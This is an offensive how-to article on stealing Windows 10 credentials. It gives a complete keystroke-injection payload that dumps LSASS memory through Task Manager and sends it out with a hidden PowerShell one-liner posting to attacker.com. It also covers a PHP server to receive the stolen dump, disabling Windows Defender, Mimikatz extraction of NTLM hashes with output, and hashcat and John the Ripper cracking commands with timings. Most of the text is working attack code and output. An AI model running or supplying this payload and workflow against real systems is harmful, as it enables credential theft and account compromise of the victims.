Windows 10 passwords stored as NTLM hashes can be dumped and exfiltrated to an attacker's system in seconds. The hashes can be very easily brute-forced and cracked to reveal the passwords in plaintext using a combination of tools, including Mimikatz, ProcDump, John the Ripper, and Hashcat.
Before we get to any of that, let's discuss the Local Security Authority Subsystem Service (LSASS), an essential part of the Windows operating system.
LSASS is responsible for authoritative domain authentication, active directory management, and enforcing security policies. It generates the processes accountable for authenticating users with NTLM as well as verifies the validity of logins. Because it's so crucial to the functionality of the operating system, hackers will often rename malicious executables after the process.
Mimikatz, created by gentilkiwi, can be used to extract password hashes, Kerberos tickets, and PIN codes from Windows 10's memory. Since its creation, Mimikatz has made headlines worldwide and become notorious for its ability to extract sensitive credentials from a running Windows computer.
Today, Windows Defender and antivirus software have become increasingly effective at detecting Mimikatz executions and signatures (shown below).
In combination with Mimikatz, hackers now use ProcDump, a standalone executable designed for administrators to monitor application crash dumps.
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ProcDump is used to extract the LSASS dump, which is later moved to an offline Windows 10 computer and analyzed with Mimikatz. This is still an effective technique for extracting credentials from Windows 10, as ProcDump is a signed Microsoft binary and does not get flagged by most antivirus software (shown below).
The Windows 10 Task Manager can also be used to dump LSASS memory, without the help of Mimikatz or ProcDump. Below is an example Mousejack payload designed to extract and exfiltrate the LSASS dump with only keystroke injection exploits and PowerShell. The attack is completed in under ten seconds (it has been slowed down at certain points for interpretation).
The Task Manager is opened in the Run window with administrative privileges. The screen turns entirely dark for a second due to the User Access Control (UAC) prompt, which prevents the GIF creator from recording the screen. Then, the Local Security Authority Process (lsass.exe) is located in the list of processes and dumped into the %TEMP% directory (by default). A PowerShell one-liner is then executed entirely from the run window. It compresses the LSASS dump into a ZIP file and sends it to the attacker's server.
At this point, the attacker can use Mimikatz in an offline Windows 10 computer or virtual machine (that doesn't have antivirus software installed) to extract hashed passwords.
While MouseJack vulnerabilities were disclosed several years ago, tens of millions of keyboards and mice (including Logitech devices) are still suspectable to keystroke injection. As Marcus Mengs, creator of P4wnP1 illustrates in his proof of concept video, Logitech dongles are still vulnerable to remote attacks.
Comments (REM) have been added to each line in the payload to clarity.
REM 2.5 second delay to give Windows 10 some time to properly REM mount the USB Rubber Ducky. This initial delay isn't REM required with Mousejack attacks. DELAY 2500 REM Open the run command window. GUI r REM Allow the run command window 1 second to open. DELAY 1000 REM Type "taskmgr" (i.e., Task Manager) into the run window. STRING taskmgr REM Delay for .5 seconds. DELAY 500 REM Ctrl+Shift+Enter keyboard combination is pressed to invoke REM the User Account Control (UAC) window. This will cause REM taskmgr to open with administrative privileges. CTRL+SHIFT ENTER REM Allow the UAC window to popup. This can take several seconds REM on some Windows 10 machines. DELAY 2500 REM ALT+y keyboard combination to accept and bypass the UAC REM prompt. ALT y REM Allow several seconds for Task Manager to fully open with REM admin privileges. This took (on average) 5.5 seconds in my REM tests. In some scenarios, with high-end CPUs, this delay REM can be considerably lower. DELAY 5500 REM Press down on the keyboard to move from the tool bar to the REM list of active background processes. DOWN REM Type "local" to jump down and highlight the "Local Security REM Authority Service" processes. STRING local REM SHIFT+F10 keyboard combination invokes the right-click options REM menu. SHIFT F10 REM Allows 1.2 seconds for the options menu to fully open. DELAY 1200 REM Press down on the keyboard 4 times to highlight the "Create REM dump file" option. DOWN DOWN DOWN DOWN REM Press Enter to select the "Create dump file" option. ENTER REM Allow 3.5 seconds for the dump file to create and save itself REM to the %TEMP% directory. DELAY 3500 REM Press Enter to select "OK" and close the dump popup window. ENTER REM ALT+F4 combination to close the Task Manager window. ALT F4 REM Allow .7 seconds for the Task Manager to close. DELAY 700 REM Open the run command window again. GUI r REM Allow .7 seconds for the run window to open. DELAY 700 REM PowerShell one-liner to compress and exfiltrate the LSASS REM dump file. Each part of the one-liner is explained in greater REM detail below. STRING powershell -ep bypass /w 1 /C $t=$env:temp;$l='lsass.DMP';compress-archive -path $t\$l -destinationpath $t\a.zip;iwr attacker.com/i.php -method POST -infile $t\a.zip REM Press Enter to execute the PowerShell one-liner. ENTER
The PowerShell payload consists of several commands chained together by semicolons:
- powershell -ep bypass /w 1 /C — The ExecutionPolicy (-ep) is set to "bypass" to allow PowerShell execution through Windows Defender and some antivirus software. The WindowStyle (/w) is set to "1," which immediately hides the PowerShell pop-up terminal.
- $t=$env:temp; — The target's temp directory is set to the variable $t. The single-letter variable usage helps shorten the overall length of the payload; It's more effective than typing "C:\Users\%USERNAME%\AppData\Local\Temp" over and over again.
- $l='lsass.DMP'; — The lsass.DMP file name is set to the variable $l. This filename is defined by the Task Manager automatically.
- compress-archive -path $t\$l -destinationpath $t\a.zip; — PowerShell's Compress-Archive cmdlet is used to zip the lsass.DMP (-path) into the "a.zip" (-destinationpath) file.
- iwr attacker.com/i.php -method POST -infile $t\a.zip — Invoke-Webrequest (iwr) sends the a.zip (-infile) to the attacker's server in the form of a POST request. Be sure to change "attacker.com" to Kali's local IP address or virtual private server address.
Before performing any keystroke injection, a PHP server is needed to intercept the exfiltrated dump.
The keystroke injection payload is expecting a server on port 80. This example will use Kali Linux on a local network for simplicity, so root privileges are already in use. Setting this up on a virtual private server, however, will require root to open a listening service on port 80.
Non-Kali users can start with the following command.
~$ sudo su
Then, create a directory called "phpServer/" using the below mkdir command.
~$ mkdir phpServer/
Change into the phpServer/ directory using the cd command.
~$ cd phpServer/
Create a file called "i.php" with nano.
~$ nano i.php
Paste the below PHP script into the nano terminal. Once that's done, to save and exit the nano terminal, press Ctrl+x, then y, then Enter.
<?php $file = date("Hism") . ".zip"; file_put_contents($file, file_get_contents("php://input")); ?>
This simple PHP script is capable of intercepting ZIP files and doesn't need to be modified in any way to function. When the target Windows 10 computer sends a .zip, this PHP server will save the data with the time as the file name.
Start the PHP server with the php -S 0.0.0.0:80 command. The -S tells PHP to start a web server, while 0.0.0.0 tells it to host the server on every IPv4 interface.
~$ php -S 0.0.0.0:80 PHP 7.3.0-2 Development Server started Listening on http://0.0.0.0:80 Document root is /root/phpServer Press Ctrl-C to quit.
Once the ZIP has been intercepted, move it to a Windows 10 computer or virtual machine. Unzip it to find the lsass.DMP file.
Make sure to disable Windows Defender and other security features before downloading Mimikatz. Open the Start menu and search for "virus."
Click on the "Virus & threat protection settings" and disable all of the available options. Alternatively, a virtual machine that doesn't have Windows Defender or Smartscreen installed can be configured for Mimikatz antics.
At the time of this writing, the latest version of Mimikatz is 2.2.0, Carlos update. Open a web browser and navigate to its GitHub repository to find the latest "mimikatz_trunk.zip" version.
After unzipping the Mimikatz ZIP, open a PowerShell terminal. Use the following command to execute the mimikatz.exe, and the mimikatz prompt will appear.
C:\> PS & "C:\Users\$env:username\PATH\TO\MIMIKATZ\x64\mimikatz.exe" .#####. mimikatz 2.2.0 (x64) #18362 Aug 13 2019 01:35:04 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( email@example.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( firstname.lastname@example.org ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ mimikatz #
The below sekurlsa::minidump command will load the lsass.DMP into Mimikatz.
mimikatz # sekurlsa::minidump C:\Users\%USERNAME%\Documents\lsass.DMP Switch to MINIDUMP : 'C:\Users\tokyoneon\Documents\lsass.DMP'
Then, use the sekurlsa::logonPasswords command to extract hashed credentials. Since Windows 8, plaintext passwords are no longer stored in memory without further modifying the operating system. But that doesn't mean Windows 10 hashes can be brute-forced and easily cracked. In line 12, we'll find the hashed password in NTLM format.
mimikatz # sekurlsa::logonPasswords Opening : 'C:\Users\tokyoneon\Documents\lsass.DMP' file for minidump... 1 Authentication Id : 0 ; 102597 (00000000:000190c5) 2 Session : Interactive from 1 3 User Name : tokyoneon 4 Domain : MSEDGEWIN10 5 Logon Server : MSEDGEWIN10 6 Logon Time : 5/31/2019 1:01:05 AM 7 SID : S-1-5-21-3859058339-3768143778-240673529-1000 8 msv : 9  Primary 10 * Username : tokyoneon 11 * Domain : MSEDGEWIN10 12 * NTLM : 7b5e40a5b7b17972ad793b9fc868a66e 13 * SHA1 : 6076b8f4d982b55097f910b3fb5a81c801954406 14 tspkg : 15 wdigest : 16 * Username : tokyoneon 17 * Domain : MSEDGEWIN10 18 * Password : (null) 19 kerberos : 20 * Username : tokyoneon 21 * Domain : MSEDGEWIN10 22 * Password : (null) 23 ssp : 24 credman : 25 Authentication Id : 0 ; 102306 (00000000:00018fa2) 26 Session : Interactive from 1 27 User Name : tokyoneon 28 Domain : MSEDGEWIN10 29 Logon Server : MSEDGEWIN10 30 Logon Time : 5/31/2019 1:01:05 AM 31 SID : S-1-5-21-3859058339-3768143778-240673529-1000 32 msv : 33  Primary 34 * Username : tokyoneon 35 * Domain : MSEDGEWIN10 36 * NTLM : 7b5e40a5b7b17972ad793b9fc868a66e 37 * SHA1 : 6076b8f4d982b55097f910b3fb5a81c801954406 38 tspkg : 39 wdigest : 40 * Username : tokyoneon 41 * Domain : MSEDGEWIN10 42 * Password : (null) 43 kerberos : 44 * Username : tokyoneon 45 * Domain : MSEDGEWIN10 46 * Password : (null) 47 ssp : 48 credman : 49 Authentication Id : 0 ; 74052 (00000000:00012144) 50 Session : Service from 0 51 User Name : sshd_server 52 Domain : MSEDGEWIN10 53 Logon Server : MSEDGEWIN10 54 Logon Time : 5/31/2019 1:01:04 AM 55 SID : S-1-5-21-3859058339-3768143778-240673529-1003 56 msv : 57  Primary 58 * Username : sshd_server 59 * Domain : MSEDGEWIN10 60 * NTLM : 8d0a16cfc061c3359db455d00ec27035 61 * SHA1 : 94bd2df8ae5cadbbb5757c3be01dd40c27f9362f 62 tspkg : 63 wdigest : 64 * Username : sshd_server 65 * Domain : MSEDGEWIN10 66 * Password : (null) 67 kerberos : 68 * Username : sshd_server 69 * Domain : MSEDGEWIN10 70 * Password : (null) 71 ssp : 72 credman : mimikatz #
Research suggests most passwords are between six and eight characters, usually consisting of six letters and ending with two digits.
As a little experiment, I wanted to learn how long it would take a Raspberry Pi 3B+, common Intel i7 CPU, and GeForce GTX GPU to crack the same hash consisting of six random characters and ending with two random numbers (e.g., nchfyr56).
After installing John the Ripper on a Raspberry Pi 3B+, the password (nchfyr56) was guessed in just over five hours. Considering most passwords are eight characters long, mask attacks with a Raspberry Pi are surprisingly practical for brute-forcing NTLM hashes.
~$ john -mask=?l?l?l?l?l?l?d?d --format=NT /root/Desktop/hash Using default input encoding: UTF-8 Loaded 1 password hash (NT [MD4 32/32]) Warning: no OpenMP support for this hash type, consider --fork=4 Press 'q' or Ctrl-C to abort, almost any other key for status nchfyr56 (?) 1g 0:05:19:24 DONE (2018-06-22 16:36) 0.000052g/s 1389Kp/s 1389Kc/s 1389KC/s achfyr56..zuhfyr56 Use the "--show --format=NT" options to display all of the cracked passwords reliably Session completed
The very same NTLM hash took only three minutes to crack with an old Intel i7 but was estimated to take fifteen minutes to complete the entire keyspace.
~$ hashcat /tmp/hash -m 1000 -a3 ?l?l?l?l?l?l?d?d hashcat (v5.1.0) starting... OpenCL Platform #1: The pocl project ==================================== * Device #1: pthread-Intel(R) Core(TM) i7-3537U CPU @ 2.00GHz, 2048/5809 MB allocatable, 4MCU 7b5e40a5b7b17972ad793b9fc868a66e:nchfyr56 Session..........: hashcat Status...........: Cracked Hash.Type........: NTLM Hash.Target......: 7b5e40a5b7b17972ad793b9fc868a66e Time.Started.....: Fri Aug 31 21:48:25 2019 (2 mins, 50 secs) Time.Estimated...: Fri Aug 31 21:51:15 2019 (0 secs) Guess.Mask.......: ?l?l?l?l?l?l?d?d  Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 35719.8 kH/s (7.23ms) @ Accel:512 Loops:128 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 6049366016/30891577600 (19.58%) Rejected.........: 0/6049366016 (0.00%) Restore.Point....: 344064/1757600 (19.58%) Restore.Sub.#1...: Salt:0 Amplifier:896-1024 Iteration:0-128 Candidates.#1....: hstrxp56 -> tjoqxn56 Started: Fri Aug 31 21:48:09 2019 Stopped: Fri Aug 31 21:51:16 2019
The NTLM hash was cracked in under one second. This was accomplished with a fairly low-end GeForce GTX 1060 GPU.
~$ hashcat /tmp/hash -m 1000 -a3 ?l?l?l?l?l?l?d?d OpenCL Platform #1: NVIDIA Corporation ====================================== * Device #1: GeForce GTX 1060 3GB, 754/3018 MB allocatable, 9MCU 7b5e40a5b7b17972ad793b9fc868a66e:nchfyr56 Session..........: hashcat Status...........: Cracked Hash.Type........: NTLM Hash.Target......: 7b5e40a5b7b17972ad793b9fc868a66e Time.Started.....: Fri Aug 31 03:00:38 2019 (0 secs) Time.Estimated...: Fri Aug 31 03:00:38 2019 (0 secs) Guess.Mask.......: ?l?l?l?l?l?l?d?d  Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 4658.0 MH/s (7.06ms) @ Accel:128 Loops:32 Thr:1024 Vec:1 Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 1094713344/30891577600 (3.54%) Rejected.........: 0/1094713344 (0.00%) Restore.Point....: 0/1757600 (0.00%) Restore.Sub.#1...: Salt:0 Amplifier:896-928 Iteration:0-32 Candidates.#1....: hstera12 -> eusind80 Hardware.Mon.#1..: Temp: 34c Fan: 25% Util: 92% Core:1898MHz Mem:3802MHz Bus:16 Started: Fri Aug 31 03:00:34 2019 Stopped: Fri Aug 31 03:00:39 2019
When testing stronger passwords containing eight characters and two digits (e.g., Psjhfhdd48) against the GPU, the hash was cracked in under twenty-five minutes.
~$ hashcat /tmp/hash2 -w4 -O -m 1000 -a3 ?u?l?l?l?l?l?l?l?d?d OpenCL Platform #1: NVIDIA Corporation ====================================== * Device #1: GeForce GTX 1060 3GB, 754/3018 MB allocatable, 9MCU 30346ad7463810ea4d5a58090611e368:Psjhfhdd48 Session..........: hashcat Status...........: Cracked Hash.Type........: NTLM Hash.Target......: 30346ad7463810ea4d5a58090611e368 Time.Started.....: Fri Aug 31 03:19:11 2019 (23 mins, 28 secs) Time.Estimated...: Fri Aug 31 03:42:39 2019 (0 secs) Guess.Mask.......: ?u?l?l?l?l?l?l?l?d?d  Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 12459.0 MH/s (97.89ms) @ Accel:256 Loops:676 Thr:1024 Vec:1 Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 17567648317440/20882706457600 (84.13%) Rejected.........: 0/17567648317440 (0.00%) Restore.Point....: 25985286144/30891577600 (84.12%) Restore.Sub.#1...: Salt:0 Amplifier:0-676 Iteration:0-676 Candidates.#1....: Mackuobd48 -> Xzkmatgd48 Hardware.Mon.#1..: Temp: 73c Fan: 50% Util:100% Core:1835MHz Mem:3802MHz Bus:16 Started: Fri Aug 31 03:19:09 2019 Stopped: Fri Aug 31 03:42:40 2019
NTLM hashes of even greater integrity (eight characters + four digits) were estimated to take about two days to crack.
~$ hashcat /tmp/hash3 -w4 -O -m 1000 -a3 ?u?l?l?l?l?l?l?l?d?d?d?d Session..........: hashcat Status...........: Running Hash.Type........: NTLM Hash.Target......: aa110854b242ed77c07be54e62611464 Time.Started.....: Fri Aug 31 03:43:40 2019 (45 secs) Time.Estimated...: Sun Sept 2 01:48:09 2019 (1 day, 22 hours) Guess.Mask.......: ?u?l?l?l?l?l?l?l?d?d?d?d  Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 12589.8 MH/s (96.68ms) @ Accel:256 Loops:676 Thr:1024 Vec:1 Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts Progress.........: 559804317696/2088270645760000 (0.03%) Rejected.........: 0/559804317696 (0.00%) Restore.Point....: 828112896/3089157760000 (0.03%) Restore.Sub.#1...: Salt:0 Amplifier:0-676 Iteration:0-676 Candidates.#1....: Maecdesr2000 -> Xzoejixr2000 Hardware.Mon.#1..: Temp: 65c Fan: 38% Util:100% Core:1847MHz Mem:3802MHz Bus:16 [s]tatus [p]ause [b]ypass [c]heckpoint [q]uit =>
For hackers with dedicated brute-force machines, two days is very much within the realm of realistic. With a cluster of superior GPUs, an attacker can easily crack any hash derived from a wider keyspace.